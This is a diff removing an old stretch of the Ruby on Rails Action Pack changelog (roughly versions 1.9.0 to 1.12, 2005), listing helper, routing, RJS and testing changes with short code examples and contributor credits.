-* Fixed that default image extension was not appended when using a full URL with AssetTagHelper#image_tag #4032, #3728 *rubyonrails@beautifulpixel.com*
-
-* Added that page caching will only happen if the response code is less than 400 #4033 *g.bucher@teti.ch*
-
-* Add ActionController::IntegrationTest to allow high-level testing of the way the controllers and routes all work together *Jamis Buck*
-
-* Added support to AssetTagHelper#javascript_include_tag for having :defaults appear anywhere in the list, so you can now make one call ala javascript_include_tag(:defaults, "my_scripts") or javascript_include_tag("my_scripts", :defaults) depending on how you want the load order #3506 *Bob Silva*
-
-* Added support for visual effects scoped queues to the visual_effect helper #3530 *Abdur-Rahman Advany*
-
-* Added .rxml (and any non-rhtml template, really) supportfor CaptureHelper#content_for and CaptureHelper#capture #3287 *Brian Takita*
-
-* Added script.aculo.us drag and drop helpers to RJS *Thomas Fuchs*. Examples:
-
- page.draggable 'product-1'
- page.drop_receiving 'wastebasket', :url => { :action => 'delete' }
- page.sortable 'todolist', :url => { action => 'change_order' }
-
-* Fixed that form elements would strip the trailing [] from the first parameter #3545 *ruby@bobsilva.com*
-
-* During controller resolution, update the NameError suppression to check for the expected constant. *Nicholas Seckar*
-
-* Update script.aculo.us to V1.5.3 *Thomas Fuchs*
-
-* Added various InPlaceEditor options, #3746, #3891, #3896, #3906 *Bill Burcham, ruairi, sl33p3r*
-
-* Added :count option to pagination that'll make it possible for the ActiveRecord::Base.count call to using something else than * for the count. Especially important for count queries using DISTINCT #3839 *Stefan Kaes*
-
-* Update script.aculo.us to V1.5.2 *Thomas Fuchs*
-
-* Added element and collection proxies to RJS *DHH*. Examples:
-
- page['blank_slate'] # => $('blank_slate');
- page['blank_slate'].show # => $('blank_slate').show();
- page['blank_slate'].show('first').up # => $('blank_slate').show('first').up();
-
- page.select('p') # => $$('p');
- page.select('p.welcome b').first # => $$('p.welcome b').first();
- page.select('p.welcome b').first.hide # => $$('p.welcome b').first().hide();
-
-* Add JavaScriptGenerator#replace for replacing an element's "outer HTML". #3246 *tom@craz8.com, Sam Stephenson*
-
-* Remove over-engineered form_for code for a leaner implementation. *Nicholas Seckar*
-
-* Document form_for's :html option. *Nicholas Seckar*
-
-* Major components cleanup and speedup. #3527 *Stefan Kaes*
-
-* Fix problems with pagination and :include. *Kevin Clark*
-
-* Add ActiveRecordTestCase for testing AR integration. *Kevin Clark*
-
-* Add Unit Tests for pagination *Kevin Clark*
-
-* Add :html option for specifying form tag options in form_for. *Sam Stephenson*
-
-* Replace dubious controller parent class in filter docs. #3655, #3722 *info@rhalff.com, eigentone@gmail.com*
-
-* Don't interpret the :value option on text_area as an html attribute. Set the text_area's value. #3752 *gabriel@gironda.org*
-
-* Fix remote_form_for creates a non-ajax form. *Rick Olson*
-
-* Don't let arbitrary classes match as controllers -- a potentially dangerous bug. *Nicholas Seckar*
-
-* Fix Routing tests. Fix routing where failing to match a controller would prevent the rest of routes from being attempted. *Nicholas Seckar*
-
-* Add :builder => option to form_for and friends. *Nicholas Seckar, Rick Olson*
-
-* Fix controller resolution to avoid accidentally inheriting a controller from a parent module. *Nicholas Seckar*
-
-* Set sweeper's @controller to nil after a request so that the controller may be collected between requests. *Nicholas Seckar*
-
-* Subclasses of ActionController::Caching::Sweeper should be Reloadable. *Rick Olson*
-
-* Document the :xhr option for verifications. #3666 *leeo*
-
-* Added :only and :except controls to skip_before/after_filter just like for when you add filters *David Heinemeier Hansson*
-
-* Ensure that the instance variables are copied to the template when performing render :update. *Nicholas Seckar*
-
-* Add the ability to call JavaScriptGenerator methods from helpers called in update blocks. *Sam Stephenson* Example:
- module ApplicationHelper
- def update_time
- page.replace_html 'time', Time.now.to_s(:db)
- page.visual_effect :highlight, 'time'
- end
- end
-
- class UserController < ApplicationController
- def poll
- render :update { |page| page.update_time }
- end
- end
-
-* Add render(:update) to ActionView::Base. *Sam Stephenson*
-
-* Fix render(:update) to not render layouts. *Sam Stephenson*
-
-* Fixed that SSL would not correctly be detected when running lighttpd/fcgi behind lighttpd w/mod_proxy #3548 *Steve Purcell*
-
-* Added the possibility to specify atomatic expiration for the memcachd session container #3571 *Stefan Kaes*
-
-* Change layout discovery to take into account the change in semantics with File.join and nil arguments. *Marcel Molina Jr.*
-
-* Raise a RedirectBackError if redirect_to :back is called when there's no HTTP_REFERER defined #3049 *Kevin Clark*
-
-* Treat timestamps like datetimes for scaffolding purposes #3388 *Maik Schmidt*
-
-* Fix IE bug with link_to "something", :post => true #3443 *Justin Palmer*
-
-* Extract Test::Unit::TestCase test process behavior into an ActionController::TestProcess module. *Sam Stephenson*
-
-* Pass along blocks from render_to_string to render. *Sam Stephenson*
-
-* Add render :update for inline RJS. *Sam Stephenson* Example:
- class UserController < ApplicationController
- def refresh
- render :update do |page|
- page.replace_html 'user_list', :partial => 'user', :collection => @users
- page.visual_effect :highlight, 'user_list'
- end
- end
- end
-
-* allow nil objects for error_messages_for *Michael Koziarski*
-
-* Refactor human_size to exclude decimal place if it is zero. *Marcel Molina Jr.*
-
-* Update to Prototype 1.5.0_pre0 *Sam Stephenson*
-
-* Automatically discover layouts when a controller is namespaced. #2199, #3424 *me@jonnii.com rails@jeffcole.net Marcel Molina Jr.*
-
-* Add support for multiple proxy servers to CgiRequest#host *gaetanot@comcast.net*
-
-* Documentation typo fix. #2367 *Blair Zajac*
-
-* Remove Upload Progress. #2871 *Sean Treadway*
-
-* Fix typo in function name mapping in auto_complete_field. #2929 #3446 *doppler@gmail.com phil.ross@gmail.com*
-
-* Allow auto-discovery of third party template library layouts. *Marcel Molina Jr.*
-
-* Have the form builder output radio button, not check box, when calling the radio button helper. #3331 *LouisStAmour@gmail.com*
-
-* Added assignment of the Autocompleter object created by JavaScriptMacroHelper#auto_complete_field to a local javascript variables *David Heinemeier Hansson*
-
-* Added :on option for PrototypeHelper#observe_field that allows you to specify a different callback hook to have the observer trigger on *David Heinemeier Hansson*
-
-* Added JavaScriptHelper#button_to_function that works just like JavaScriptHelper#link_to_function but uses a button instead of a href *David Heinemeier Hansson*
-
-* Added that JavaScriptHelper#link_to_function will honor existing :onclick definitions when adding the function call *David Heinemeier Hansson*
-
-* Added :disable_with option to FormTagHelper#submit_tag to allow for easily disabled submit buttons with different text *David Heinemeier Hansson*
-
-* Make auto_link handle nil by returning quickly if blank? *Scott Barron*
-
-* Make auto_link match urls with a port number specified. *Marcel Molina Jr.*
-
-* Added support for toggling visual effects to ScriptaculousHelper::visual_effect, #3323. *Thomas Fuchs*
-
-* Update to script.aculo.us to 1.5.0 rev. 3343 *Thomas Fuchs*
-
-* Added :select option for JavaScriptMacroHelper#auto_complete_field that makes it easier to only use part of the auto-complete suggestion as the value for insertion *Thomas Fuchs*
-
-* Added delayed execution of Javascript from within RJS #3264 *devslashnull@gmail.com*. Example:
-
- page.delay(20) do
- page.visual_effect :fade, 'notice'
- end
-
-* Add session ID to default logging, but remove the verbose description of every step *David Heinemeier Hansson*
-
-* Add the following RJS methods: *Sam Stephenson*
-
- * alert - Displays an alert() dialog
- * redirect_to - Changes window.location.href to simulate a browser redirect
- * call - Calls a JavaScript function
- * assign - Assigns to a JavaScript variable
- * << - Inserts an arbitrary JavaScript string
-
-* Fix incorrect documentation for form_for *Nicholas Seckar*
-
-* Don't include a layout when rendering an rjs template using render's :template option. *Marcel Molina Jr.*
-
-## 1.1.2 (December 13th, 2005) ##
-
-* Become part of Rails 1.0
-
-* Update to script.aculo.us 1.5.0 final (equals 1.5.0_rc6) *Thomas Fuchs*
-
-* Update to Prototype 1.4.0 final *Sam Stephenson*
-
-* Added form_remote_for (form_for meets form_remote_tag) *David Heinemeier Hansson*
-
-* Update to script.aculo.us 1.5.0_rc6
-
-* More robust relative url root discovery for SCGI compatibility. This solves the 'SCGI routes problem' -- you no longer need to prefix all your routes with the name of the SCGI mountpoint. #3070 *Dave Ringoen*
-
-* Fix docs for text_area_tag. #3083. *Christopher Cotton*
-
-* Change form_for and fields_for method signatures to take object name and object as separate arguments rather than as a Hash. *David Heinemeier Hansson*
-
-* Introduce :selected option to the select helper. Allows you to specify a selection other than the current value of object.method. Specify :selected => nil to leave all options unselected. #2991 *Jonathan Viney <jonathan@bluewire.net.nz>*
-
-* Initialize @optional in routing code to avoid warnings about uninitialized access to an instance variable. *Nicholas Seckar*
-
-* Make ActionController's render honor the :locals option when rendering a :file. #1665. *Emanuel Borsboom, Marcel Molina Jr.*
-
-* Allow assert_tag(:conditions) to match the empty string when a tag has no children. Closes #2959. *Jamis Buck*
-
-* Update html-scanner to handle CDATA sections better. Closes #2970. *Jamis Buck*
-
-* Don't put flash in session if sessions are disabled. *Jeremy Kemper*
-
-* Strip out trailing &_= for raw post bodies. Closes #2868. *Sam Stephenson*
-
-* Pass multiple arguments to Element.show and Element.hide in JavaScriptGenerator instead of using iterators. *Sam Stephenson*
-
-* Improve expire_fragment documentation. #2966 *court3nay*
-
-* Correct docs for automatic layout assignment. #2610. *Charles M. Gerungan*
-
-* Always create new AR sessions rather than trying too hard to avoid database traffic. #2731 *Jeremy Kemper*
-
-* Update to Prototype 1.4.0_rc4. Closes #2943 (old Array.prototype.reverse behavior can be obtained by passing false as an argument). *Sam Stephenson*
-
-* Use Element.update('id', 'html') instead of $('id').innerHTML = 'html' in JavaScriptGenerator#replace_html so that script tags are evaluated. *Sam Stephenson*
-
-* Make rjs templates always implicitly skip out on layouts. *Marcel Molina Jr.*
-
-* Correct length for the truncate text helper. #2913 *Stefan Kaes*
-
-* Update to Prototype 1.4.0_rc3. Closes #1893, #2505, #2550, #2748, #2783. *Sam Stephenson*
-
-* Add support for new rjs templates which wrap an update_page block. *Marcel Molina Jr.*
-
-* Rename Version constant to VERSION. #2802 *Marcel Molina Jr.*
-
-* Correct time_zone_options_for_select docs. #2892 *pudeyo@rpi.com*
-
-* Remove the unused, slow response_dump and session_dump variables from error pages. #1222 *lmarlow*
-
-* Performance tweaks: use Set instead of Array to speed up prototype helper include? calls. Avoid logging code if logger is nil. Inline commonly-called template presence checks. #2880, #2881, #2882, #2883 *Stefan Kaes*
-
-* MemCache store may be given multiple addresses. #2869 *Ryan Carver <ryan@fivesevensix.com>*
-
-* Handle cookie parsing irregularity for certain Nokia phones. #2530 *zaitzow@gmail.com*
-
-* Added PrototypeHelper::JavaScriptGenerator and PrototypeHelper#update_page for easily modifying multiple elements in an Ajax response. *Sam Stephenson* Example:
-
- update_page do |page|
- page.insert_html :bottom, 'list', '<li>Last item</li>'
- page.visual_effect :highlight, 'list'
- page.hide 'status-indicator', 'cancel-link'
- end
-
- generates the following JavaScript:
-
- new Insertion.Bottom("list", "<li>Last item</li>");
- new Effect.Highlight("list");
- ["status-indicator", "cancel-link"].each(Element.hide);
-
-* Refactored JavaScriptHelper into PrototypeHelper and ScriptaculousHelper *Sam Stephenson*
-
-* Update to latest script.aculo.us version (as of [3031])
-
-* Updated docs for in_place_editor, fixes a couple bugs and offers extended support for external controls *Justin Palmer*
-
-* Update documentation for render :file. #2858 *Tom Werner*
-
-* Only include builtin filters whose filenames match /^[a-z][a-z_]*_helper.rb$/ to avoid including operating system metadata such as ._foo_helper.rb. #2855 *court3nay*
-
-* Added FormHelper#form_for and FormHelper#fields_for that makes it easier to work with forms for single objects also if they don't reside in instance variables *DHH*. Examples:
-
- <% form_for :person, @person, :url => { :action => "update" } do |f| %>
- First name: <%= f.text_field :first_name %>
- Last name : <%= f.text_field :last_name %>
- Biography : <%= f.text_area :biography %>
- Admin? : <%= f.check_box :admin %>
- <% end %>
-
- <% form_for :person, person, :url => { :action => "update" } do |person_form| %>
- First name: <%= person_form.text_field :first_name %>
- Last name : <%= person_form.text_field :last_name %>
-
- <% fields_for :permission => person.permission do |permission_fields| %>
- Admin? : <%= permission_fields.check_box :admin %>
- <% end %>
- <% end %>
-
-* options_for_select allows any objects which respond_to? :first and :last rather than restricting to Array and Range. #2824 *Jacob Robbins <jrobbins@cmj.com>, Jeremy Kemper*
-
-* The auto_link text helper accepts an optional block to format the link text for each url and email address. Example: auto_link(post.body) { |text| truncate(text, 10) } *Jeremy Kemper*
-
-* assert_tag uses exact matches for string conditions, instead of partial matches. Use regex to do partial matches. #2799 *Jamis Buck*
-
-* CGI::Session::ActiveRecordStore.data_column_name = 'foobar' to use a different session data column than the 'data' default. *nbpwie102@sneakemail.com*
-
-* Do not raise an exception when default helper is missing; log a debug message instead. It's nice to delete empty helpers. *Jeremy Kemper*
-
-* Controllers with acronyms in their names (e.g. PDFController) require the correct default helper (PDFHelper in file pdf_helper.rb). #2262 *jeff@opendbms.com*
-
-
-## 1.11.0 (November 7th, 2005) ##
-
-* Added request as instance method to views, so you can do <%= request.env["HTTP_REFERER"] %>, just like you can already access response, session, and the likes *David Heinemeier Hansson*
-
-* Fix conflict with assert_tag and Glue gem #2255 *david.felstead@gmail.com*
-
-* Add documentation to assert_tag indicating that it only works with well-formed XHTML #1937, #2570 *Jamis Buck*
-
-* Added action_pack.rb stub so that ActionPack::Version loads properly *Sam Stephenson*
-
-* Added short-hand to assert_tag so assert_tag :tag => "span" can be written as assert_tag "span" *David Heinemeier Hansson*
-
-* Added skip_before_filter/skip_after_filter for easier control of the filter chain in inheritance hierachies *DHH*. Example:
-
- class ApplicationController < ActionController::Base
- before_filter :authenticate
- end
-
- class WeblogController < ApplicationController
- # will run the :authenticate filter
- end
-
- class SignupController < ActionController::Base
- # will not run the :authenticate filter
- skip_before_filter :authenticate
- end
-
-* Added redirect_to :back as a short-hand for redirect_to(request.env["HTTP_REFERER"]) *David Heinemeier Hansson*
-
-* Change javascript_include_tag :defaults to not use script.aculo.us loader, which facilitates the use of plugins for future script.aculo.us and third party javascript extensions, and provide register_javascript_include_default for plugins to specify additional JavaScript files to load. Removed slider.js and builder.js from actionpack. *Thomas Fuchs*
-
-* Fix problem where redirecting components can cause an infinite loop *Rick Olson*
-
-* Added support for the queue option on visual_effect *Thomas Fuchs*
-
-* Update script.aculo.us to V1.5_rc4 *Thomas Fuchs*
-
-* Fix that render :text didn't interpolate instance variables #2629, #2626 *Stefan Kaes*
-
-* Fix line number detection and escape RAILS_ROOT in backtrace Regexp *Nicholas Seckar*
-
-* Fixed document.getElementsByClassName from Prototype to be speedy again *Sam Stephenson*
-
-* Recognize ./#{RAILS_ROOT} as RAILS_ROOT in error traces *Nicholas Seckar*
-
-* Remove ARStore session fingerprinting *Nicholas Seckar*
-
-* Fix obscure bug in ARStore *Nicholas Seckar*
-
-* Added TextHelper#strip_tags for removing HTML tags from a string (using HTMLTokenizer) #2229 *marcin@junkheap.net*
-
-* Added a reader for flash.now, so it's possible to do stuff like flash.now[:alert] ||= 'New if not set' #2422 *Caio Chassot*
-
-
-## 1.10.2 (October 26th, 2005) ##
-
-* Reset template variables after using render_to_string *Stefan Kaes*
-
-* Expose the session model backing CGI::Session
-
-* Abbreviate RAILS_ROOT in traces
-
-
-## 1.10.1 (October 19th, 2005) ##
-
-* Update error trace templates *Nicholas Seckar*
-
-* Stop showing generated routing code in application traces *Nicholas Seckar*
-
-
-## 1.10.0 (October 16th, 2005) ##
-
-* Make string-keys locals assigns optional. Add documentation describing depreciated state *Stefan Kaes*
-
-* Improve line number detection for template errors *Nicholas Seckar*
-
-* Update/clean up documentation (rdoc)
-
-* Upgrade to Prototype 1.4.0_rc0 *Sam Stephenson*
-
-* Added assert_vaild. Reports the proper AR error messages as fail message when the passed record is invalid *Tobias Lütke*
-
-* Add temporary support for passing locals to render using string keys *Nicholas Seckar*
-
-* Clean up error pages by providing better backtraces *Nicholas Seckar*
-
-* Raise an exception if an attempt is made to insert more session data into the ActiveRecordStore data column than the column can hold. #2234. *justin@textdrive.com*
-
-* Removed references to assertions.rb from actionpack assert's backtraces. Makes error reports in functional unit tests much less noisy. *Tobias Lütke*
-
-* Updated and clarified documentation for JavaScriptHelper to be more concise about the various options for including the JavaScript libs. *Thomas Fuchs*
-
-* Hide "Retry with Breakpoint" button on error pages until feature is functional. *David Heinemeier Hansson*
-
-* Fix Request#host_with_port to use the standard port when Rails is behind a proxy. *Nicholas Seckar*
-
-* Escape query strings in the href attribute of URLs created by url_helper. #2333 *Michael Schuerig <michael@schuerig.de>*
-
-* Improved line number reporting for template errors *Nicholas Seckar*
-
-* Added :locals support for render :inline #2463 *mdabney@cavoksolutions.com*
-
-* Unset the X-Requested-With header when using the xhr wrapper in functional tests so that future requests aren't accidentally xhr'ed #2352 *me@julik.nl, Sam Stephenson*
-
-* Unescape paths before writing cache to file system. #1877. *Damien Pollet*
-
-* Wrap javascript_tag contents in a CDATA section and add a cdata_section method to TagHelper #1691 *Michael Schuerig, Sam Stephenson*
-
-* Misc doc fixes (typos/grammar/etc). #2445. *coffee2code*
-
-* Speed improvement for session_options. #2287. *Stefan Kaes*
-
-* Make cacheing binary files friendly with Windows. #1975. *Rich Olson*
-
-* Convert boolean form options form the tag_helper. #809. *Michael Schuerig <michael@schuerig.de>*
-
-* Fixed that an instance variable with the same name as a partial should be implicitly passed as the partial :object #2269 *court3nay*
-
-* Update Prototype to V1.4.0_pre11, script.aculo.us to [2502] *Thomas Fuchs*
-
-* Make assert_tag :children count appropriately. Closes #2181. *jamie@bravenet.com*
-
-* Forced newer versions of RedCloth to use hard breaks *David Heinemeier Hansson*
-
-* Added new scriptaculous options for auto_complete_field #2343 *Manfred Stienstra*
-
-* Don't prepend the asset host if the string is already a fully-qualified URL
-
-* Updated to script.aculo.us V1.5.0_rc2 and Prototype to V1.4.0_pre7 *Thomas Fuchs*
-
-* Undo condition change made in [2345] to prevent normal parameters arriving as StringIO.
-
-* Tolerate consecutive delimiters in query parameters. #2295 *darashi@gmail.com*
-
-* Streamline render process, code cleaning. Closes #2294. *skae*
-
-* Keep flash after components are rendered. #2291 *Rick Olson, Scott*
-
-* Shorten IE file upload path to filename only to match other browsers. #1507 *court3nay*
-
-* Fix open/save dialog in IE not opening files send with send_file/send_data, #2279 *Thomas Fuchs*
-
-* Fixed that auto_discovery_link_tag couldn't take a string as the URL *David Heinemeier Hansson*
-
-* Fixed problem with send_file and WEBrick using stdout #1812 *David Heinemeier Hansson*
-
-* Optimized tag_options to not sort keys, which is no longer necessary when assert_dom_equal and friend is available #1995 *skae*
-
-* Added assert_dom_equal and assert_dom_not_equal to compare tags generated by the helpers in an order-indifferent manner #1995 *skae*
-
-* Fixed that Request#domain caused an exception if the domain header wasn't set in the original http request #1795 *Michael Koziarski*
-
-* Make the truncate() helper multi-byte safe (assuming $KCODE has been set to something other than "NONE") #2103
-
-* Add routing tests from #1945 *ben@groovie.org*
-
-* Add a routing test case covering #2101 *Nicholas Seckar*
-
-* Cache relative_url_root for all webservers, not just Apache #2193 *skae*
-
-* Speed up cookie use by decreasing string copying #2194 *skae*
-
-* Fixed access to "Host" header with requests made by crappy old HTTP/1.0 clients #2124 *Marcel Molina Jr.*
-
-* Added easy assignment of fragment cache store through use of symbols for included stores (old way still works too)
-
- Before:
- ActionController::Base.fragment_cache_store =
- ActionController::Base::Caching::Fragments::FileStore.new("/path/to/cache/directory")
-
- After:
- ActionController::Base.fragment_cache_store = :file_store, "/path/to/cache/directory"
-
-* Added ActionController::Base.session_store=, session_store, and session_options to make it easier to tweak the session options (instead of going straight to ActionController::CgiRequest::DEFAULT_SESSION_OPTIONS)
-
-* Added TextHelper#cycle to cycle over an array of values on each hit (useful for alternating row colors etc) #2154 *dave-ml@dribin.org*
-
-* Ensure that request.path never returns nil. Closes #1675 *Nicholas Seckar*
-
-* Add ability to specify Route Regexps for controllers. Closes #1917. *Sebastian Kanthak*
-
-* Provide Named Route's hash methods as helper methods. Closes #1744. *Nicholas Seckar, Steve Purcell*
-
-* Added :multipart option to ActiveRecordHelper#form to make it possible to add file input fields #2034 *jstirk@oobleyboo.com*
-
-* Moved auto-completion and in-place editing into the Macros module and their helper counterparts into JavaScriptMacrosHelper
-
-* Added in-place editing support in the spirit of auto complete with ActionController::Base.in_place_edit_for, JavascriptHelper#in_place_editor_field, and Javascript support from script.aculo.us #2038 *Jon Tirsen*
-
-* Added :disabled option to all data selects that'll make the elements inaccessible for change #2167, #253 *eigentone*
-
-* Fixed that TextHelper#auto_link_urls would include punctuation in the links #2166, #1671 *eigentone*
-
-* Fixed that number_to_currency(1000, {:precision => 0})) should return "$1,000", instead of "$1,000." #2122 *sd@notso.net*
-
-* Allow link_to_remote to use any DOM-element as the parent of the form elements to be submitted #2137 *erik@ruby-lang.nl*. Example:
-
- <tr id="row023">
- <td><input name="foo"/></td>
- <td><input name="bar"/></td>
- <td><%= link_to_remote 'Save', :update => "row023",
- :submit => "row023", :url => {:action => 'save_row'} %></td>
- </tr>
-
-* Fixed that render :partial would fail when :object was a Hash (due to backwards compatibility issues) #2148 *Sam Stephenson*
-
-* Fixed JavascriptHelper#auto_complete_for to only include unique items #2153 *Thomas Fuchs*
-
-* Fixed all AssetHelper methods to work with relative paths, such that javascript_include_tag('stdlib/standard') will look in /javascripts/stdlib/standard instead of '/stdlib/standard/' #1963
-
-* Avoid extending view instance with helper modules each request. Closes #1979
-
-* Performance improvements to CGI methods. Closes #1980 *Stefan Kaes*
-
-* Added :post option to UrlHelper#link_to that makes it possible to do POST requests through normal ahref links using Javascript
-
-* Fixed overwrite_params
-
-* Added ActionController::Base.benchmark and ActionController::Base.silence to allow for easy benchmarking and turning off the log
-
-* Updated vendor copy of html-scanner to support better xml parsing
-
-* Added :popup option to UrlHelper#link_to #1996 *gabriel.gironda@gmail.com*. Examples:
-
- link_to "Help", { :action => "help" }, :popup => true
- link_to "Busy loop", { :action => "busy" }, :popup => ['new_window', 'height=300,width=600']
-
-* Drop trailing \000 if present on RAW_POST_DATA (works around bug in Safari Ajax implementation) #918
-
-* Fix observe_field to fall back to event-based observation if frequency <= 0 #1916 *Michael Schubert*
-
-* Allow use of the :with option for submit_to_remote #1936 *jon@instance-design.co.uk*
-
-* AbstractRequest#domain returns nil when host is an ip address #2012 *Kevin Clark*
-
-* ActionController documentation update #2051 *François Beausoleil*
-
-* Yield @content_for_ variables to templates #2058 *Sam Stephenson*
-
-* Make rendering an empty partial collection behave like :nothing => true #2080 *Sam Stephenson*
-
-* Add option to specify the singular name used by pagination.
-
-* Use string key to obtain action value. Allows indifferent hashes to be disabled.
-
-* Added ActionView::Base.cache_template_loading back.
-
-* Rewrote compiled templates to decrease code complexity. Removed template load caching in favour of compiled caching. Fixed template error messages. *Nicholas Seckar*
-
-* Fix Routing to handle :some_param => nil better. *Nicholas Seckar, Luminas*
-
-* Add support for :include with pagination (subject to existing constraints for :include with :limit and :offset) #1478 *Michael Schubert*
-
-* Prevent the benchmark module from blowing up if a non-HTTP/1.1 request is processed
-
-* Added :use_short_month option to select_month helper to show month names as abbreviations
-
-* Make link_to escape the javascript in the confirm option #1964 *nicolas.pouillard@gmail.com*
-
-* Make assert_redirected_to properly check URL's passed as strings #1910 *Scott Barron*
-
-* Make sure :layout => false is always used when rendering inside a layout
-
-* Use raise instead of assert_not_nil in Test::Unit::TestCase#process to ensure that the test variables (controller, request, response) have been set
-
-* Make sure assigns are built for every request when testing #1866
-
-* Allow remote_addr to be queried on TestRequest #1668
-
-* Fixed bug when a partial render was passing a local with the same name as the partial
-
-* Improved performance of test app req/sec with ~10% refactoring the render method #1823 *Stefan Kaes*
-
-* Improved performance of test app req/sec with 5-30% through a series of Action Pack optimizations #1811 *Stefan Kaes*
-
-* Changed caching/expiration/hit to report using the DEBUG log level and errors to use the ERROR log level instead of both using INFO
-
-* Added support for per-action session management #1763
-
-* Improved rendering speed on complicated templates by up to 100% (the more complex the templates, the higher the speedup) #1234 *Stefan Kaes*. This did necessasitate a change to the internals of ActionView#render_template that now has four parameters. Developers of custom view handlers (like Amrita) need to update for that.
-
-* Added options hash as third argument to FormHelper#input, so you can do input('person', 'zip', :size=>10) #1719 *jeremye@bsa.ca.gov*
-
-* Added Base#expires_in(seconds)/Base#expires_now to control HTTP content cache headers #1755 *Thomas Fuchs*
-
-* Fixed line number reporting for Builder template errors #1753 *piotr*
-
-* Fixed assert_routing so that testing controllers in modules works as expected *Nicholas Seckar, Rick Olson*
-
-* Fixed bug with :success/:failure callbacks for the JavaScriptHelper methods #1730 *court3nay/Thomas Fuchs*
-
-* Added named_route method to RouteSet instances so that RouteSet instance methods do not prevent certain names from being used. *Nicholas Seckar*
-
-* Fixed routes so that routes which do not specify :action in the path or in the requirements have a default of :action => 'index', In addition, fixed url generation so that :action => 'index' does not need to be provided for such urls. *Nicholas Seckar, Markjuh*
-
-* Worked around a Safari bug where it wouldn't pass headers through if the response was zero length by having render :nothing return ' ' instead of ''
-
-* Fixed Request#subdomains to handle "foo.foo.com" correctly
-
-
-## 1.9.1 (11 July, 2005) ##
-
-* Fixed that auto_complete_for didn't force the input string to lower case even as the db comparison was
-
-* Fixed that Action View should always use the included Builder, never attempt to require the gem, to ensure compatibility
-
-* Added that nil options are not included in tags, so tag("p", :ignore => nil) now returns <p /> not <p ignore="" /> but that tag("p", :ignore => "") still includes it #1465 *Michael Schuerig*
-
-* Fixed that UrlHelper#link_to_unless/link_to_if used html_escape on the name if no link was to be applied. This is unnecessary and breaks its use with images #1649 *joergd@pobox.com*
-
-* Improved error message for DoubleRenderError
-
-* Fixed routing to allow for testing of *path components #1650 *Nicholas Seckar*
-
-* Added :handle as an option to sortable_element to restrict the drag handle to a given class #1642 *thejohnny*
-
-* Added a bunch of script.aculo.us features #1644, #1677, #1695 *Thomas Fuchs*
- * Effect.ScrollTo, to smoothly scroll the page to an element
- * Better Firefox flickering handling on SlideUp/SlideDown
- * Removed a possible memory leak in IE with draggables
- * Added support for cancelling dragging my hitting ESC
- * Added capability to remove draggables/droppables and redeclare sortables in dragdrop.js (this makes it possible to call sortable_element on the same element more than once, e.g. in AJAX returns that modify the sortable element. all current sortable 'stuff' on the element will be discarded and the sortable will be rebuilt)
- * Always reset background color on Effect.Highlight; this make change backwards-compatibility, to be sure include style="background-color:(target-color)" on your elements or else elements will fall back to their CSS rules (which is a good thing in most circumstances)
- * Removed circular references from element to prevent memory leaks (still not completely gone in IE)
- * Changes to class extension in effects.js
- * Make Effect.Highlight restore any previously set background color when finishing (makes effect work with CSS classes that set a background color)
- * Fixed myriads of memory leaks in IE and Gecko-based browsers *David Zülke*
- * Added incremental and local autocompleting and loads of documentation to controls.js *Ivan Krstic*
- * Extended the auto_complete_field helper to accept tokens option
- * Changed object extension mechanism to favor Object.extend to make script.aculo.us easily adaptable to support 3rd party libs like IE7.js *David Zülke*
-
-* Fixed that named routes didn't use the default values for action and possible other parameters #1534 *Nicholas Seckar*
-
-* Fixed JavascriptHelper#visual_effect to use camelize such that :blind_up will work #1639 *pelletierm@eastmedia.net*
-
-* Fixed that a SessionRestoreError was thrown if a model object was placed in the session that wasn't available to all controllers. This means that it's no longer necessary to use the 'model :post' work-around in ApplicationController to have a Post model in your session.
-
-
-## 1.9.0 (6 July, 2005) ##
-
-* Added logging of the request URI in the benchmark statement (makes it easy to grep for slow actions)
-
-* Added javascript_include_tag :defaults shortcut that'll include all the default javascripts included with Action Pack (prototype, effects, controls, dragdrop)
-
-* Cache several controller variables that are expensive to calculate #1229 *Stefan Kaes*
-
-* The session class backing CGI::Session::ActiveRecordStore may be replaced with any class that duck-types with a subset of Active Record. See docs for details #1238 *Stefan Kaes*
-
-* Fixed that hashes was not working properly when passed by GET to lighttpd #849 *Nicholas Seckar*
-
-* Fixed assert_template nil will be true when no template was rendered #1565 *maceywj@telus.net*
-
-* Added :prompt option to FormOptions#select (and the users of it, like FormOptions#select_country etc) to create "Please select" style descriptors #1181 *Michael Schuerig*
-
-* Added JavascriptHelper#update_element_function, which returns a Javascript function (or expression) that'll update a DOM element according to the options passed #933 *mortonda@dgrmm.net*. Examples:
-
- <%= update_element_function("products", :action => :insert, :position => :bottom, :content => "<p>New product!</p>") %>
-
- <% update_element_function("products", :action => :replace, :binding => binding) do %>
- <p>Product 1</p>
- <p>Product 2</p>
- <% end %>
-
-* Added :field_name option to DateHelper#select_(year|month|day) to deviate from the year/month/day defaults #1266 *Marcel Molina Jr.*
-
-* Added JavascriptHelper#draggable_element and JavascriptHelper#drop_receiving_element to facilitate easy dragging and dropping through the script.aculo.us libraries #1578 *Thomas Fuchs*
-
-* Added that UrlHelper#mail_to will now also encode the default link title #749 *f.svehla@gmail.com*
-
-* Removed the default option of wrap=virtual on FormHelper#text_area to ensure XHTML compatibility #1300 *thomas@columbus.rr.com*
-
-* Adds the ability to include XML CDATA tags using Builder #1563 *Josh Knowles*. Example:
-
- xml.cdata! "some text" # => <![CDATA[some text]]>
-
-* Added evaluation of SCRIPT blocks in content returned to Ajax calls #1577 *Thomas Fuchs/court3nay/Sean Treadway*
-
-* Directly generate paths with a leading slash instead of tacking it on later. #1543 *Nicholas Seckar*
-
-* Fixed errant parameter modification in functional tests. #1542 *Nicholas Seckar*
-
-* Routes fail with leading slash #1540 *Nicholas Seckar*
-
-* Added support for graceful error handling of Ajax calls #1217 *Jamis Buck/Thomas Fuchs*. Example:
-
- link_to_remote(
- "test",
- :url => { :action => "faulty" },
- :update => { :success => "good", :failure => "bad" },
- 403 => "alert('Forbidden- got ya!')",
- 404 => "alert('Nothing there...?')",
- :failure => "alert('Unkown error ' + request.status)")
-
-* Attempt to explicitly flush the output at the end of CgiProcess#out
-
-* Fixed assert_redirected_to to handle absolute controller paths properly #1472 *Rick Olson/Nicholas Seckar*
-
-* Added event-based observations when frequency is not set on observe_field/form #1474 *flash@vanklinkenbergsoftware.nl*
-
-* Added script.aculo.us Javascripts (controls.js, dragdrop.js, effects.js) (NEEDS MORE DESCRIPTION) #1509 *Thomas Fuchs*
-
-* Fixed prototype to consider all fields it doesn't know as text (such as Safari's search) just like the browser in its serialization #1497 *Sean Treadway*
-
-* Improved performance of Routes generation by a factor of 5 #1434 *Nicholas Seckar*
-
